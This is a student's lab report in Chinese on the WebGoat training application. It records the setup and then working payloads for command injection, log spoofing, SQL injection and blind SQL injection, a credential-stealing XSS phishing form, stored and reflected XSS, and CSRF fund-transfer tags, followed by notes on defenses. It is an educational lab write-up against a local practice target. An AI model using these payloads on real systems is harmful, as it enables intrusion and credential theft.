目录
1.实践内容
1.1 Web Goat环境搭建
1.查看jdk版本
2.安装环境,更改jdk
-
下载Web Goat及jdk安装包
-
在
webgoat-container-7.0.1-war-exec.jar
目录下执行命令java -jar webgoat-container-7.0.1-war-exec.jar
- 浏览器中输入
http://localhost:8080/WebGoat
进入登录界面,看到下方有提示账号及其对应的用户名和密码:
-
由于未配置jdk,故
Admin Functions
为空,配置jdk- 解压jdk并建立目录
sudo su
mkdir -p /usr/local/java
cp jdk-8u181-linux-x64.tar.gz /usr/local/java
cd /usr/local/java
tar xzvf jdk-8u181-linux-x64.tar.gz
- 配置环境变量
vim /etc/profile
(添加在profile文件末尾)
JAVA_HOME=/usr/local/java/jdk1.8.0_251
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
- 更新位置
update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_181/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_181/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_181/bin/javaws" 1
update-alternatives --set java /usr/local/java/jdk1.8.0_181/bin/java
update-alternatives --set javac /usr/local/java/jdk1.8.0_181/bin/javac
update-alternatives --set javaws /usr/local/java/jdk1.8.0_181/bin/javaws
source /etc/profile
- 再次打开Web Goat
1.2 SQL注入
命令注入——修改参数,使服务器执行恶意命令
- 左侧功能栏选中
Injection Flaws
—>Command Injection
——>inspect Element
审查网页元素对源代码进行修改
- 找到
HelpFile
的select
元素,在第一项内容的后面添加"& netstat -an & ipconfig"
- 修改后再次点击下拉框旁的
View
,如果可以看到执行指令后的网络端口使用情况和IP地址——>攻击成功!
日志欺骗——通过修改日志文件消除攻击痕迹
-
选择
Injection Flaws
->Log Spoofing
-
User Name
文本框中填写guest%0d%0aLogin Succeeded for username: admin20175332
,利用%0d
回车,%oa
换行符,让注入信息转行显示。
- 点击登录
数据库后门——利用数据库中的触发器,使用INSERT语句来使系统执行恶意代码
-
Injection Flaws
->Database Backdoors
,文本框中输入101查询该用户的相关信息
- 输入语句
101; update employee set salary=20175332
更改数据,攻击成功!
LAB: SQL Injection——利用SQL语句的特点,注入字符串,使系统执行恶意代码,通过注入字符串绕过认证
-
Injection Flaws
->LAB: SQL Injection
,密码框中输入‘ or 1=1 --
- 登录失败,查看网页源码,原密码框可接受最大长度为8,注入命令超出长度,更改为三十,再次操作
数字型盲注入——没有明确返回信息只判断真假的注入,充分利用查询语句实现
- 输入
101 AND 1=1
进行一个查询测试,两个条件均有效,所以返回当前账户数字有效
- 输入
101 AND 1=2
,因为1不等于2,条件不成立,所以返回账号数字无效
- 输入
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 );
判断PIN是否大于10000
- 可不断改变判断条件缩小范围,
101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) = 2364 );
- 最终结果为2364
字符串式盲注入——原理与数字相同,字母比较ASCII码的值
- 输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘X‘ );
判断PIN字段数值的第一个字母其ASCII码值是否比”X“小,并不断缩小判断条件。
- 最后
Jill
1.3 XSS攻击
钓鱼型:利用XSS,实现钓鱼攻击或向官方页面中增加内容以达到某些目的
- 通过构造一个表单,添加一个输入用户名及密码的区域,以获取他人用户名及密码
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
存储型:将恶意代码传输至有漏洞的服务器,通过服务器攻击
- TItle文本框输入任意信息 ,在Message文本框中输入
<script>alert("20175332 attack succeed !");</script>
,点击提交后,点击创建的帖子,会弹出一个对话框,说明攻击成功!
反射型:通过让受害者执行代码获取受害者身份信息以实现伪装并实现某些操作
- 输入
<script>alert(" 201753332");</script>
1.4 CSRF攻击
跨站请求伪造:使用户访问一个做过手脚的网站
- 输入
<img src="http://localhost:8080/WebGoat/attack?Screen=317&menu=900&transferFunds=5000" width="1" height="1" />
,其中Screen和menu的值由右侧表格看出,语句transferFunds=5000意为把受害者的钱转走。
绕过CSRF确认:
- 方法同上:
<iframe src="attack?Screen=319&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=319&menu=900&transferFunds=CONFIRM"> </iframe>
2.实践问题回答
(1)SQL注入攻击原理,如何防御
-
原理:在Web对数据库进行查询时,在提交的正常请求命令中利用SQL语句漏洞嵌入恶意查询语句以执行相应操作或获取数据
-
防御:对所输入的内容进行严格判断筛选,对数据库设置当问权限,适当对数据进行加密,尽量不使用动态SQL语句
(2)XSS攻击的原理,如何防御
-
原理:利用现有网页漏洞,注入恶意指令代码到网页添加原来不存在的恶意网页程序,利用用户对现有操作网页的信任以执行恶意程序从而获取用户信息或操作权限,以达到某些目的
-
防御:过滤前端获取的信息中的特殊符号,如< / 等,对前端获取信息的符号进行适当转码再提交给后台
(3)CSRF攻击的原理,如何防御
-
原理:在正常访问受信任网站时发送信息至另一网站,另一网站利用所获取信息冒充用户对受信任网站提出请求,以此来实现攻击
-
防御:在每一次与重要信息有关的操作中都增加验证环节,通过生成随机数验证码实现验证身份
3.实践总结与体会
本次实验操作较为简单,主要是对几种攻击原理的理解,在实验过程中也理解了许多实际生活中某些网站的操作,如进行登陆操作时有许多网站会有输入验证码的操作,这是本学期最后一次实验,回顾一下,个人认为还是较为圆满的完成了每一个实验,在每一个实验中也都学到了许多东西,也体会到了这门课程较高的实践性,也让我在以后的日常生活中使用网络时更为注意。